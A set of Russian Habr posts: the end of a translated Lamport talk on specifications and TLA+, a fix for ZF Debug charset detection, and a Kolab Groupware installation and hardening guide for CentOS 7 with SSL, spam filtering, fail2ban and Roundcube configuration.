и написал спецификацию для системы памяти. Благодаря этой спецификации был найден баг, который иначе был бы не замечен, и из-за которого каждая XBox 360 падала бы после четырех часов использования. Инженеры из IBM подтвердили, что их тесты не обнаружили бы этот баг.
Более подробно про TLA+ вы можете почитать в интернете, а сейчас давайте поговорим о неформальных спецификациях. Нам редко приходится писать программы, которые вычисляют наименьший общий делитель и тому подобное. Значительно чаще мы пишем программы вроде инструмента структурной распечатки (pretty-printer), который я написал для TLA+. После самой простой обработки код на TLA+ выглядел бы следующим образом:
Но в приведенном примере пользователь скорее всего хотел, чтобы знаки конъюнкции и равенства были выравнены. Так что правильное форматирование выглядело бы скорее так:
Рассмотрим другой пример:
Здесь, наоборот, выравнивание знаков равенства, сложения и умножения в источнике было случайным, поэтому самой простой обработки вполне достаточно. В общем, точного математического определения верного форматирования нет, потому что «правильное» в данном случае значит «такое, какое хочет пользователь», а это математически определить нельзя.
Казалось бы, если у нас нет определения истинности, то спецификация бесполезна. Но это не так. Если мы не знаем, что именно программа должна сделать, это не значит, что нам не нужно продумывать ее работу — наоборот, мы должны потратить на это еще больше усилий. Спецификация здесь особенно важна. Определить оптимальную программу для структурной распечатки невозможно, но это не значит, что мы не должны за нее браться вообще, а писать код как поток сознания — это не дело. В итоге я написал спецификацию из шести правил с определениями **в форме комментариев** в Java-файле. Вот пример одного из правил: `a left-comment token is LeftComment aligned with its covering token`. Это правило написано на, скажем так, математическом английском: `LeftComment aligned`, `left-comment` и `covering token` — термины с определениями. Это то, как математики описывают математику: пишут определения терминов и на основе них — правила. Польза от такой спецификации в том, что понять и отладить шесть правил значительно проще, чем 850 строк кода. Надо сказать, что написать эти правила было непросто, довольно много времени ушло на их отладку. Специально для этой цели я написал код, который сообщал, какое именно правило используется. Благодаря тому, что я проверил эти шесть правил на нескольких примерах, мне не нужно было отлаживать 850 строк кода, и баги оказалось довольно легко найти. В Java для этого есть отличные инструменты. Если бы я просто написал код, то у меня ушло бы значительно больше времени, и форматирование получилось бы худшего качества.
Почему нельзя было использовать формальную спецификацию? С одной стороны, правильность выполнения здесь не слишком важна. Структурная распечатка обязательно кому-то не угодит, так что мне не нужно было добиваться правильной работы во всех неординарных ситуациях. Еще важнее тот факт, что у меня не было адекватных инструментов. Средство для проверки моделей TLA+ здесь бесполезно, так что мне пришлось бы вручную писать примеры.
У приведенной спецификации есть черты, общие для всех спецификаций. Она более высокого уровня, чем код. Реализовать ее можно на любом языке. Для ее написания бесполезны какие-либо инструменты или методы. Никакой курс программирования вам не поможет написать эту спецификацию. И не существует инструментов, которые могли бы сделать эту спецификацию ненужной, если, конечно, вы не пишете язык специально для написания программ структурной распечатки на TLA+. Наконец, эта спецификация ничего не говорит о том, как именно мы будем писать код, в ней только указывается, что этот код делает. Мы пишем спецификацию, чтобы помочь нам продумать проблему, прежде чем мы начнем думать о коде.
Но у этой спецификации есть и особенности, отличающие ее от других спецификаций. 95% других спецификаций значительно короче и проще:
Далее, эта спецификация является набором правил. Как правило, это признак плохой спецификации. Понять последствия набора правил довольно трудно, и именно поэтому мне пришлось потратить много времени на их отладку. Тем не менее, в данном случае лучшего способа мне было не найти.
Стоит сказать несколько слов о программах, которые работают непрерывно. Как правило, они работают параллельно, например, операционные системы или распределенные системы. Разобраться в них в уме или на бумаге могут очень немногие, и я к их числу не принадлежу, хотя когда-то мне это было по силам. Поэтому необходимы инструменты, которые будут проверять нашу работу — например, TLA+ или PlusCal.
Зачем нужно было писать спецификацию, если я и так знал, что именно код должен делать? На самом деле, мне только казалось, будто бы я это знаю. Кроме того, при наличии спецификации постороннему человеку уже не нужно залезать в код, чтобы понять, что именно он делает. У меня есть правило: не должно быть никаких общих правил. У этого правила, конечно же, есть исключение, это единственное общее правило, которому я следую: спецификация того, что делает код, должна сообщать людям все, что им нужно знать при использовании этого кода.
Итак, что именно программистам нужно знать о мышлении? Для начала, то же, что и всем: если ты не пишешь, то тебе только кажется, что ты мыслишь. Кроме того, нужно думать, прежде чем кодить, а это значит, нужно писать, прежде чем кодить. Спецификация — это то, что мы пишем перед тем, как начать кодить. Спецификация нужна для любого кода, который может быть кем-либо использован или изменен. И этим «кто-либо» может оказаться сам автор кода через месяц после его написания. Спецификация нужна для больших программ и систем, для классов, для методов и иногда даже для сложных участков отдельного метода. Что именно нужно писать о коде? Нужно описать, что он делает, то есть то, что может быть полезно любому человеку, использующему этот код. Иногда может также быть необходимо указать, как именно код достигает своей цели. Если этот способ мы проходили в курсе алгоритмов, то мы называем это алгоритмом. Если же это нечто более специальное и новое, то мы называем это высокоуровневым проектированием. Формальной разницы здесь нет: и то, и другое является абстрактной моделью программы.
Как именно следует писать спецификацию кода? Главное: она должна быть на уровень выше самого кода. Она должна описывать состояния и поведения. Она должна быть настолько строгой, насколько этого требует задача. Если вы пишете спецификацию способа реализации задачи, то ее можно написать на псевдокоде или при помощи PlusCal. Учиться писать спецификации нужно на формальных спецификациях. Это даст вам необходимые навыки, которые помогут в том числе и с неформальными. А как научиться писать формальные спецификации? Когда мы учились программированию, мы писали программы, а затем отлаживали их. То же самое здесь: нужно написать спецификацию, проверить ее при помощи средства проверки моделей и исправить ошибки. TLA+, возможно, не самый лучший язык для формальной спецификации, и для ваших конкретных нужд скорее всего лучше подойдет другой язык. Преимущество TLA+ в том, что он отлично учит математическому мышлению.
Как связать спецификацию и код? При помощи комментариев, которые связывают математические понятия и их реализацию. Если вы работаете с графами, то на уровне программы у вас будут массивы узлов и массивы связей. Поэтому вам нужно написать, как именно граф реализуется этими структурами программирования.
Нужно заметить, что ничто из вышесказанного не относится к самому процессу написания кода. Когда вы пишете код, то есть выполняете третий шаг, вам тоже нужно мыслить и продумывать программу. Если подзадача оказывается сложной или неочевидной, нужно написать для нее спецификацию. Но о самом коде я здесь не говорю. Вы можете пользоваться любым языком программирования, любой методологией, речь не о них. Кроме того, ничто из вышесказанного не избавляет от необходимости тестировать и отлаживать код. Даже если абстрактная модель написана верно, в ее реализации могут быть баги.
Написание спецификаций — дополнительный этап в процессе написания кода. Благодаря нему многие ошибки можно отловить меньшими усилиями — мы это знаем по опыту программистов из Amazon. Со спецификациями качество программ становится выше. Так почему же тогда мы так часто обходимся без них? Потому что писать трудно. А писать трудно, потому что для этого нужно думать, а думать тоже трудно. Всегда проще делать вид, что думаешь. Здесь можно провести аналогию с бегом — чем меньше вы бегаете, тем медленнее вы бежите. Нужно тренировать свои мускулы и упражняться в письме. Нужна практика.
Спецификация может быть неверной. Вы могли где-то сделать ошибку, или могли измениться требования, или оказалось необходимо сделать улучшение. Любой код, которым кто-либо пользуется, приходится менять, поэтому рано или поздно спецификация перестанет соответствовать программе. В идеале в этом случае нужно написать новую спецификацию и полностью переписать код. Мы прекрасно знаем, что так никто не делает. На практике мы патчим код и, возможно, обновляем спецификацию. Если это обязательно рано или поздно происходит, то зачем вообще писать спецификации? Во-первых, для человека, который будет править ваш код, каждое лишнее слово в спецификации будет на вес золота, и этим человеком вполне можете быть вы сами. Я часто ругаю себя за недостаточную спецификацию, когда правлю свой код. А я пишу больше спецификаций, чем кода. Поэтому, когда вы правите код, спецификацию всегда нужно обновлять. Во-вторых, с каждой правкой код становится хуже, его становится все труднее читать и поддерживать. Это нарастание энтропии. Но если вы не начинаете со спецификации, то каждая написанная строка будет правкой, и код с самого начала будет громоздким и трудночитаемым.
Как говорил [Эйзенхауер](https://ru.wikipedia.org/wiki/%D0%AD%D0%B9%D0%B7%D0%B5%D0%BD%D1%85%D0%B0%D1%83%D1%8D%D1%80,_%D0%94%D1%83%D0%B0%D0%B9%D1%82_%D0%94%D1%8D%D0%B2%D0%B8%D0%B4), *ни одна битва не была выиграна по плану, и ни одна битва не была выиграна без плана*. А он знал кое-что о битвах. Существует мнение, что написание спецификаций — пустая трата времени. Иногда это действительно так, и задача настолько проста, что продумывать ее нечего. Но всегда нужно помнить, что, когда вам советуют не писать спецификаций, это значит, что вам советуют не думать. И об этом каждый раз следует подумать. Продумывание задачи не гарантирует, что вы не совершите ошибок. Как мы знаем, волшебной палочки никто не изобрел, и программирование — сложное занятие. Но если вы не продумываете задачу, вы гарантированно сделаете ошибки.
Подробнее про TLA+ и PlusCal можно почитать на специальном сайте, туда можно зайти с моей домашней страницы [по ссылке](https://lamport.azurewebsites.net/tla/tla.html). На этом у меня все, спасибо за внимание.
> Напоминаю, что это перевод. Когда вы будете писать комментарии — помните, что автор их не прочитает. Если вам действительно хочется пообщаться с автором, то он будет на конференции Hydra 2019, которая пройдёт 11-12 июля 2019 года в Санкт-Петербурге. Билеты можно приобрести [на официальном сайте](https://hydraconf.ru/?utm_source=habr&utm_medium=454898). | https://habr.com/ru/post/454898/ | null | ru | null |
# Проблема UTF-8 Byte Order Mark или кириллица в крякозябах
Столкнулся с проблемой некорректного отображения кириллических шрифтов в браузере, а точнее браузер неправильно определял кодировку. Краткий анализ показал, что данное неудобство проявляется только при включении плагина **ZF debug**. Кинув взгляд на исходный код страницы увидел, что стили и скрипты свои плагин подключает сразу же после открывающего тега , то есть **до** метатега с информацией о кодировке страницы, что, видимо, не совсем правильно.
Для исправления ситуации необходимо подправить файл library\ZFDebug\Controller\Plugin\Debug.php следующим образом(выделено черным цветом)
> protected function \_headerOutput() {
>
> $collapsed = isset($\_COOKIE['ZFDebugCollapsed']) ? $\_COOKIE['ZFDebugCollapsed'] : 0;
>
>
>
> return ('
>
>
>
> …
>
> ');
>
> }
>
>
> protected function \_output($html)
>
> {
>
> ...
>
> $response->setBody(preg\_replace('/(**<\/head>)/i'**, '$1' . $this->\_headerOutput(), $response->getBody()));
>
> ...
>
> }
>
>
>
> Все, теперь будет стоять сразу после открывающего тега .
>
>
>
> п.с. Проблема так же решается если принудительно указывать BOM в начале файла, но, к примеру, PHP Storm не умеет(на данный момент) сохранять его. Однако же BOM не необходим для браузерных приложений, даже излишен, исходя из документа "[Use of BOM is neither required nor recommended for UTF-8](http://www.unicode.org/versions/Unicode5.0.0/ch02.pdf)" | https://habr.com/ru/post/103925/ | null | ru | null |
# Kolab Groupware (Часть 2 — Установка)
Если вы еще не знаете что такое Kolab, то вы вероятно захотите прочитать [первую статью](http://habrahabr.ru/post/260469/), где я делал подробный обзор на этот довольно функциональный и полностью свободной почтовый сервер с красивой веб-мордой.
На этот раз мы будем его устанавливать.
[Kolab Groupware (Часть 1 — Обзор)](http://habrahabr.ru/post/260469/)
[Kolab Groupware (Часть 2 — Установка)](http://habrahabr.ru/post/260527/)
Если вы не хотите заморачиваться со всем что описанно в этой статье или просто хотите попробовать Kolab, вы можете использовать готовый [docker-образ](#docker).
Установка пакетов
-----------------
Пакеты существуют для всех популярных дистрибутивов: [Red Hat Enterprise Linux](https://docs.kolab.org), [CentOS](https://docs.kolab.org/installation-guide/centos-community.html), [Fedora](https://docs.kolab.org/installation-guide/fedora.html), [Debian](https://docs.kolab.org/installation-guide/debian.html), так же есть эксперементальные пакеты для [OpenSUSE](https://kolab.org/news/2015/04/17/kolab-3-rc1-released-planned-packaged-opensuse) и [Ubuntu](https://docs.kolab.org/installation-guide/ubuntu.html), а в [ArchLinux](https://wiki.archlinux.org/index.php/Kolab) Kolab можно собрать из [AUR](https://aur.archlinux.org/packages/kolab/).
Я буду устанавливать на Сentos 7, но на меня ориентироваться совсем не обязательно, на других дистрибутивах установка мало чем будет отличается.
Итак приступим
Установим репозитории
```
yum -y update
yum -y install wget epel-release
cd /etc/yum.repos.d
wget http://obs.kolabsys.com/repositories/Kolab:/3.4/CentOS_7/Kolab:3.4.repo
wget http://obs.kolabsys.com/repositories/Kolab:/3.4:/Updates/CentOS_7/Kolab:3.4:Updates.repo
```
Установим ключи
```
gpg --keyserver pgp.mit.edu --recv-key 0x446D5A45
gpg --export --armor devel@lists.kolab.org > devel.asc
rpm --import devel.asc
rm devel.asc
```
Теперь сами пакеты
```
yum -y install kolab
```
Установка Kolab
---------------
Первым делом в качестве имени хоста необходимо задать полный FQDN, например:
```
echo "mail.example.org" > /etc/hostname
```
Кроме того, установка dirsrv требует, что бы имя вашей машины резольвилось в принадлежащей ей IP-адрес, так что не забываем добавить соответствующую запись в DNS и/или в /etc/hosts файл.
Теперь самое время узнать о том, что если вы хотите установить Kolab и использовать вместо стандартного 389 Directory Server (далее dirsrv), *какой-нибудь Active Directory*, то вам нужно перед установкой отредактировать файл /etc/kolab/kolab.conf, и поправить параметры отвечающие за LDAP.
При этом установку нужно будет запускать c параметром --with-ad
Так же в centos-системах перед установкой следует создать пользователя dirsrv, при установке пакетов, он почему-то не создается, в debian этим все впорядке.
```
adduser dirsrv
```
Ок, теперь все готово, запускаем установку:
```
setup-kolab
```
Вся установка сводится к тому что бы отвечать на вопросы которые задаст вам интерактивный скрипт
**Листинг**
```
Please supply a password for the LDAP administrator user 'admin', used to login
to the graphical console of 389 Directory server.
Administrator password [sQnPqqaKInB2ObB]:
Please supply a password for the LDAP Directory Manager user, which is the
administrator user you will be using to at least initially log in to the Web
Admin, and that Kolab uses to perform administrative tasks.
Directory Manager password [ohLY9kxxinHGOGE]:
Please choose the system user and group the service should use to run under.
These should be existing, unprivileged, local system POSIX accounts with no
shell.
User [dirsrv]:
Group [dirsrv]:
This setup procedure plans to set up Kolab Groupware for the following domain
name space. This domain name is obtained from the reverse DNS entry on your
network interface. Please confirm this is the appropriate domain name space.
example.org [Y/n]: y
The standard root dn we composed for you follows. Please confirm this is the root
dn you wish to use.
dc=example,dc=org [Y/n]: y
Setup is now going to set up the 389 Directory Server. This may take a little
while (during which period there is no output and no progress indication).
Shutting down dirsrv:
mail... [ OK ]
Starting dirsrv:
mail... [ OK ]
Please supply a Cyrus Administrator password. This password is used by Kolab to
execute administrative tasks in Cyrus IMAP. You may also need the password
yourself to troubleshoot Cyrus IMAP and/or perform other administrative tasks
against Cyrus IMAP directly.
Cyrus Administrator password [0DIMW-CLUKmsNEU]:
Please supply a Kolab Service account password. This account is used by various
services such as Postfix, and Roundcube, as anonymous binds to the LDAP server
will not be allowed.
Kolab Service password [dDGgUZAue2Y-LTW]:
Shutting down postfix: [FAILED]
Starting postfix: [ OK ]
Shutting down amavisd: The amavisd daemon is apparently not running, no PID file /var/run/amavisd/amavisd.pid
[FAILED]
Starting amavisd: [ OK ]
Stopping clamd.amavisd: [FAILED]
Starting clamd.amavisd: LibClamAV Warning: **************************************************
LibClamAV Warning: *** The virus database is older than 7 days! ***
LibClamAV Warning: *** Please update it as soon as possible. ***
LibClamAV Warning: **************************************************
[ OK ]
Stopping wallaced: [FAILED]
Starting wallaced: [ OK ]
Stopping mysqld: [ OK ]
Initializing MySQL database: Installing MySQL system tables...
OK
Filling help tables...
OK
To start mysqld at boot time you have to copy
support-files/mysql.server to the right place for your system
PLEASE REMEMBER TO SET A PASSWORD FOR THE MySQL root USER !
To do so, start the server, then issue the following commands:
/usr/bin/mysqladmin -u root password 'new-password'
/usr/bin/mysqladmin -u root -h mail.example.org password 'new-password'
Alternatively you can run:
/usr/bin/mysql_secure_installation
which will also give you the option of removing the test
databases and anonymous user created by default. This is
strongly recommended for production servers.
See the manual for more instructions.
You can start the MySQL daemon with:
cd /usr ; /usr/bin/mysqld_safe &
You can test the MySQL daemon with mysql-test-run.pl
cd /usr/mysql-test ; perl mysql-test-run.pl
Please report any problems with the /usr/bin/mysqlbug script!
[ OK ]
Starting mysqld: [ OK ]
What MySQL server are we setting up?
- 1: Existing MySQL server (with root password already set).
- 2: New MySQL server (needs to be initialized).
Choice: 2
Please supply a root password for MySQL. This password will be the administrative
user for this MySQL server, and it should be kept a secret. After this setup
process has completed, Kolab is going to discard and forget about this password,
but you will need it for administrative tasks in MySQL.
MySQL root password [lhBkALCvQpocaiT]:
Please supply a password for the MySQL user 'kolab'. This password will be used
by Kolab services, such as the Web Administration Panel.
MySQL kolab password [47rxdTc-vIk3WJ8]:
Please supply the timezone PHP should be using. You have to use a Continent or
Country / City locality name like 'Europe/Berlin', but not just 'CEST'.
Timezone ID [UTC]: Europe/Moscow
Please supply a password for the MySQL user 'roundcube'. This password will be
used by the Roundcube webmail interface.
MySQL roundcube password [o_yUViK4oRy7SX2]:
Stopping httpd: [FAILED]
Starting httpd: [ OK ]
Stopping httpd: [ OK ]
Starting httpd: [ OK ]
Stopping kolab-saslauthd: [FAILED]
Starting kolab-saslauthd: [ OK ]
Shutting down cyrus-imapd: [FAILED]
Starting cyrus-imapd: [ OK ]
Stopping kolabd: [FAILED]
Starting kolabd: [ OK ]
```
После установки вы имеете уже вполне рабочую инсталляцию Kolab, для тестового запуска этого вполне достаточно, но для выпуска в продакшен придется еще немного поработать напильником :)
Редактируем конфиг
------------------
Конфиг находится здесь **/etc/kolab/kolab.conf**
Здесь, найдется чего покрутить, вот нескоько полезных опций:
#### Локаль
Локаль по умолчанию, для русского укажите ru\_RU
```
default_locale = en_US
```
#### Генерация uid'ов и имен ящиков
Здесь указано правило по которому генерируется основной почтовый ящик
```
primary_mail = %(surname)s@%(domain)s
```
А это правила по которым генерируются дополнительные почтовые ящики, как видите они могут быть более гибкими, чем для основного
```
secondary_mail = {
0: {
"{0}.{1}@{2}": "format('%(givenname)s'[0:1].capitalize(), '%(surname)s', '%(domain)s')"
},
1: {
"{0}@{1}": "format('%(uid)s', '%(domain)s')"
},
2: {
"{0}@{1}": "format('%(givenname)s.%(surname)s', '%(domain)s')"
}
}
```
По умолчанию в Kolab запрещено изменять через админку primary email и uid, т.е. они должны всегда генерироваться сами исходя из этих правил.
Мне лично такая схема не нравится, мне больше нравится указывать username и mail-адреса в ручную, ну или хотя бы что бы его можно было редактировать. Расскажу как можно это сделать:
Отключаем проверку имен ящиков
```
daemon_rcpt_policy = False
```
Переходим в админку Kolab, переходим в **Settings** и для типа **Kolab User** атрибута **uid** и **mail** меняем значение с «Generated (read-only)» на «Generated».
Теперь мы можем редактировать uid'ы и mail-адреса для наших пользователей вручную.
#### Хранение почты
Продолжаем разбирать конфиг, здесь указанно какие папки следует создавать по умолчанию новому пользователю
```
autocreate_folders = {
'Archive': {
'quota': 0,
},
'Calendar': {
'annotations': {
'/private/vendor/kolab/folder-type': "event.default",
'/shared/vendor/kolab/folder-type': "event",
},
...
```
При желании можно вынести разные папки на разные хранилища, например что бы все папки были на быстром хранилище, а папку archive на медленном.
Для этого в конфиге cyrus следует указать где искать эти хранилища.
```
echo "partition-default: /var/spool/imap" >> /etc/imapd.conf
echo "partition-archive: /var/spool/imap-archive" >> /etc/imapd.conf
```
И добавить параметр partition к папке Archive, примерно так:
```
...
'Archive': {
'quota': 0,
'partition': 'archive'
},
...
```
Мультидоменная конфигурация
---------------------------
Kolab из коробки не совсем поддерживает несколько доменов. Вернее в админке все для этого есть, но все остальные сервисы, такие как postfix, cyrus-imap, amavis, roundcube — все они по умолчанию настроенны для поддержки только одного домена.
Если вам все же необходимо настроить несколько доменов, на официальной wiki есть [очень подробный гайд](https://docs.kolab.org/howtos/multi-domain.html) о том как настроить весь этот зоопарк, для работы с несколькими доменами
Стоит заметить, что после описанных действий ваши логины в почту поменяются с простого username на username@example.org
Если вам данная функция не нужна, просто пропускаем этот пункт.
Настройка SSL
-------------
Обезопасим наш сервер, [получаем сертификат](http://habrahabr.ru/post/127643/) на ваш домен, если вы еще не сделали этого ранее.
Так же понадобится сертификат центра сертификации (в случае StartSSL — [sub.class1.server.ca.pem](http://www.startssl.com/certs/sub.class1.server.ca.pem))
Установим mod\_ssl для apache
```
yum -y install mod_ssl
```
Теперь копируем наши ключи по следующим путям:
/etc/pki/tls/private/mail.example.org.key
/etc/pki/tls/certs/mail.example.org.crt
/etc/pki/tls/certs/sub.class1.server.ca.pem
```
# Cоздадим цепочки для наших сертификатов
cat /etc/pki/tls/certs/mail.example.org.crt /etc/pki/tls/private/mail.example.org.key /etc/pki/tls/certs/sub.class1.server.ca.pem > /etc/pki/tls/private/mail.example.org.bundle.pem
cat /etc/pki/tls/certs/mail.example.org.crt /etc/pki/tls/certs/sub.class1.server.ca.pem > /etc/pki/tls/certs/mail.example.org.bundle.pem
cat /etc/pki/tls/certs/sub.class1.server.ca.pem > /etc/pki/tls/certs/mail.example.org.ca-chain.pem
# Настроим права
chown -R root:mail /etc/pki/tls/private
chmod 600 /etc/pki/tls/private/mail.example.org.key
chmod 750 /etc/pki/tls/private
chmod 640 /etc/pki/tls/private/*
# Добавим сертификат центра сертификации в системное хранилище
cat /etc/pki/tls/certs/sub.class1.server.ca.pem >> /etc/pki/tls/certs/ca-bundle.crt
# Настроим сертификаты в apache
sed -i -e '/SSLCertificateFile \/etc\/pki/c\SSLCertificateFile /etc/pki/tls/certs/mail.example.org.crt' /etc/httpd/conf.d/ssl.conf
sed -i -e '/SSLCertificateKeyFile \/etc\/pki/c\SSLCertificateKeyFile /etc/pki/tls/private/mail.example.org.key' /etc/httpd/conf.d/ssl.conf
sed -i -e '/SSLCertificateChainFile \/etc\/pki/c\SSLCertificateChainFile /etc/pki/tls/certs/mail.example.org.ca-chain.pem' /etc/httpd/conf.d/ssl.conf
# Настроим редирект на HTTPS по умолчанию
cat >> /etc/httpd/conf/httpd.conf << EOF
RewriteEngine On
RewriteRule ^(.\*)$ https://%{HTTP\_HOST}\$1 [R=301,L]
EOF
# Настроим сертификаты в cyrus-imap
sed -r -i \
-e 's|^tls_server_cert:.*|tls_server_cert: /etc/pki/tls/certs/mail.example.org.crt|g' \
-e 's|^tls_server_key:.*|tls_server_key: /etc/pki/tls/private/mail.example.org.key|g' \
-e 's|^tls_server_ca_file:.*|tls_server_ca_file: /etc/pki/tls/certs/mail.example.org.ca-chain.pem|g' \
/etc/imapd.conf
# Настроим сертификаты в Postfix
postconf -e smtpd_tls_key_file=/etc/pki/tls/private/mail.example.org.key
postconf -e smtpd_tls_cert_file=/etc/pki/tls/certs/mail.example.org.crt
postconf -e smtpd_tls_CAfile=/etc/pki/tls/certs/mail.example.org.ca-chain.pem
# Укажем kolab-cli новую ссылку на api
sed -r -i \
-e '/api_url/d' \
-e "s#\[kolab_wap\]#[kolab_wap]\napi_url = https://$(hostname -f)/kolab-webadmin/api#g" \
/etc/kolab/kolab.conf
# Настроим Roundcube
sed -i -e 's/http:/https:/' /etc/roundcubemail/libkolab.inc.php
sed -i -e 's/http:/https:/' /etc/roundcubemail/kolab_files.inc.php
sed -i -e '/^?>/d' /etc/roundcubemail/config.inc.php
# Расскажем iRony о новых ссылках для DAV-протоколов
cat >> /etc/roundcubemail/config.inc.php << EOF
# caldav/webdav
\$config['calendar_caldav_url'] = "https://%h/iRony/calendars/%u/%i";
\$config['kolab_addressbook_carddav_url'] = 'https://%h/iRony/addressbooks/%u/%i';
EOF
# Укажем Rouncdcube принудительно работать по HTTPS
cat >> /etc/roundcubemail/config.inc.php << EOF
# Force https redirect for http requests
\$config['force_https'] = true;
EOF
```
На этом настройка SSL можно считать завершенной.
DKIM и SPF
----------
Что бы Gmail и другие почтовые сервера не заносили наши письма в спам, рекомендуется настроить SPF и DKIM записи на нашем сервере.
В качестве серверной части для DKIM предлагаю использовать OpenDKIM, по настройке которого на хабре уже была [замечательная статья](http://habrahabr.ru/post/151904/)
Настройка доставки спама
------------------------
По умолчанию amavis весь спам просто удаляет. Лично я считаю, что не совсем правильно и что спам должен доставляться в личные спам-папки пользователей
Собственно есть два варианта как это можно сделать:
### Вариант с разделителем
Cyrus-imap позволяет доставлять почту сразу в нужную папку используя для этого специальный разделитель в почтовом адресе.
Настроим amavis
```
# отключим добавление ***spam*** в тему письма
sed -i '/^[^#]*$sa_spam_subject_tag/s/^/#/' /etc/amavisd/amavisd.conf
# включим использование префикса spam+ для доставки почты
sed -i '/^# $recipient_delimiter/s/^# //' /etc/amavisd/amavisd.conf
# разрешим доставку спама
sed -i 's/^\($final_spam_destiny.*= \).*/\1D_PASS;/' /etc/amavisd/amavisd.conf
```
Еще один момент, что бы почту можно было доставлять сразу в папку spam, для этой папки пользователь anyone должен иметь разрешение p (т.е. помещать в эту папку письма), в противном случае все будет сыпаться в INBOX.
Кстати касается это и Shared Folders, если вы хотите получать в них письма, вам следует установить для них аналогичные разрешения.
К сожалению я не нашел в cyrus-imap штатной возможности определить неглассные права для пользователя anyone.
Но у меня есть на это решение, добавляем эту строку в crontab, и каждые 4 часа kolab будет дергать cyrus-imap что бы у каждого пользователя в вашем домене стояло «anyone p» для папки spam.
```
0 4 * * * kolab sam user/%/Spam@example.org anyone p
```
### Вариант с глобальным sieve скриптом
Настроим amavis
```
# отключим добавление ***spam*** в тему письма
sed -i '/^[^#]*$sa_spam_subject_tag/s/^/#/' /etc/amavisd/amavisd.conf
# разрешим доставку спама
sed -i 's/^\($final_spam_destiny.*= \).*/\1D_PASS;/' /etc/amavisd/amavisd.conf
```
Создадим глобальный скрипт для cyrus:
```
mkdir -p /var/lib/imap/sieve/global/
cat > /var/lib/imap/sieve/global/default.script << EOF
require "fileinto";
if header :contains "X-Spam-Flag" "YES"
{
fileinto "Spam";
}
EOF
```
Скомпилируем его:
```
/usr/lib/cyrus-imapd/sievec /var/lib/imap/sieve/global/default.script /var/lib/imap/sieve/global/default.bc
```
Теперь сделаем скрипт который будет подключать его всем новым пользователям:
**/bin/set\_spam\_sieve.sh**
```
#!/bin/bash
imap_stor=/var/spool/imap/
sieve_stor=/var/lib/imap/sieve/
user_sieve_folders=($(find $imap_stor -name Spam -type d -print | sed 's|'$imap_stor'|'$sieve_stor'|' | sed 's|/user||' | sed 's|/Spam|/|'))
for folder in ${user_sieve_folders[@]} ; do
if [ -f $folder'USER.script' ] ; then
cd $folder
if [ "$(grep -c 'require.*include' 'USER.script')" -eq 0 ]; then
echo 'Inject require "include"; '$folder'USER.script'
sed -i '1i require "include";' 'USER.script'
/usr/lib/cyrus-imapd/sievec 'USER.script' 'USER.bc'
chown -R cyrus:mail $folder
fi
if [ "$(grep -c "include.*:global.*default" 'USER.script')" -eq 0 ]; then
echo 'Inject include :global "default"; '$folder'USER.script'
echo 'include :global "default";' >> $folder'USER.script'
/usr/lib/cyrus-imapd/sievec 'USER.script' 'USER.bc'
chown -R cyrus:mail $folder
fi
echo -e $folder'USER.script'
else
echo Creating new $folder'USER.script'
mkdir -p $folder
cd $folder
echo -e 'require ["include"];\ninclude :global "default";' > 'USER.script'
/usr/lib/cyrus-imapd/sievec 'USER.script' 'USER.bc'
ln -s 'USER.bc' 'defaultbc'
chown -R cyrus:mail $folder
fi
done
```
Не забываем сделать его исполняемым:
```
chmod +x /bin/set_spam_sieve.sh
```
Теперь добавим в cron задание, которое будет запускать скрипт set\_spam\_sieve.sh каждые 4 часа:
```
0 4 * * * /bin/set_spam_sieve.sh
```
Защита от брутфорса с Fail2ban
------------------------------
Fail2ban — это сервис, который мониторит логи других сервисов на слишком частое повторение неправильных попыток входа.
Например если слишком часто повторяются попытки входа с неправильным паролем с одного IP, то этот IP получает бан на несколько минут.
Установим Fail2ban из официальных репозиториев
```
yum -y install fail2ban
```
Создадим фильтры для Fail2ban
```
cat > /etc/fail2ban/filter.d/kolab-cyrus.conf << EOF
[Definition]
failregex = (imaps|pop3s)\[[0-9]*\]: badlogin: \[\] (plain|PLAIN|login|plaintext) .\*
ignoreregex =
EOF
cat > /etc/fail2ban/filter.d/kolab-postfix.conf << EOF
[Definition]
failregex = postfix\/submission\/smtpd\[[0-9]\*\]: warning: unknown\[\]: SASL (PLAIN|LOGIN) authentication failed: authentication failure
ignoreregex =
EOF
cat > /etc/fail2ban/filter.d/kolab-roundcube.conf << EOF
[Definition]
failregex = <.\*> Failed login for .\* from in session .\*
ignoreregex =
EOF
cat > /etc/fail2ban/filter.d/kolab-irony.conf << EOF
[Definition]
failregex = <.\*> Failed login for .\* from in session .\*
ignoreregex =
EOF
cat > /etc/fail2ban/filter.d/kolab-chwala.conf << EOF
[Definition]
failregex = <.\*> Failed login for .\* from in session .\*
ignoreregex =
EOF
cat > /etc/fail2ban/filter.d/kolab-syncroton.conf << EOF
[Definition]
failregex = <.\*> Failed login for .\* from in session .\*
ignoreregex =
EOF
```
Теперь же натравим на них Fail2ban
```
cat >> /etc/fail2ban/jail.conf << EOF
[kolab-cyrus]
enabled = true
filter = kolab-cyrus
action = iptables-multiport[name=cyrus-imap,port="143,993,110,995,4190"]
logpath = /var/log/maillog
maxretry = 5
[kolab-postfix]
enabled = true
filter = kolab-postfix
action = iptables-multiport[name=kolab-postfix,port="25,587"]
logpath = /var/log/maillog
maxretry = 5
[kolab-roundcube]
enabled = true
filter = kolab-roundcube
action = iptables-multiport[name=kolab-roundcube, port="http,https"]
logpath = /var/log/roundcubemail/userlogins
maxretry = 5
[kolab-irony]
enabled = true
filter = kolab-irony
action = iptables-multiport[name=kolab-irony,port="http,https"]
logpath = /var/log/iRony/userlogins
maxretry = 5
[kolab-chwala]
enabled = true
filter = kolab-chwala
action = iptables-multiport[name=kolab-chwala,port="http,https"]
logpath = /var/log/chwala/userlogins
maxretry = 5
[kolab-syncroton]
enabled = true
filter = kolab-syncroton
action = iptables-multiport[name=kolab-syncroton,port="http,https"]
logpath = /var/log/kolab-syncroton/userlogins
maxretry = 5
EOF
```
Настроим Roundcube
------------------
#### Тема по умолчанию
Как я уже писал в [предыдущей статье](http://habrahabr.ru/post/260469/), если вам не нравится по умолчанию тема Chameleon, вы легко можете заменить ее на Larry
```
sed -i "s/\$config\['skin'\] = '.*';/\$config\['skin'\] = 'larry';/g" /etc/roundcubemail/config.inc.php
```
#### Плагин zipdownload
Некоторые пользователи жалуются, что нет такой возможности скачать все вложения к письму сразу.
Так вот, такая возможность есть в плагине zipdownload для Roundcube
Скачаем репозиторий roundcube, и скопируем плагин в папку с плагинами нашего Roundcube
```
git clone https://github.com/roundcube/roundcubemail/ --depth 1 /tmp/roundcube
mv /tmp/roundcube/plugins/zipdownload/ /usr/share/roundcubemail/plugins/
rm -rf /tmp/roundcube/
```
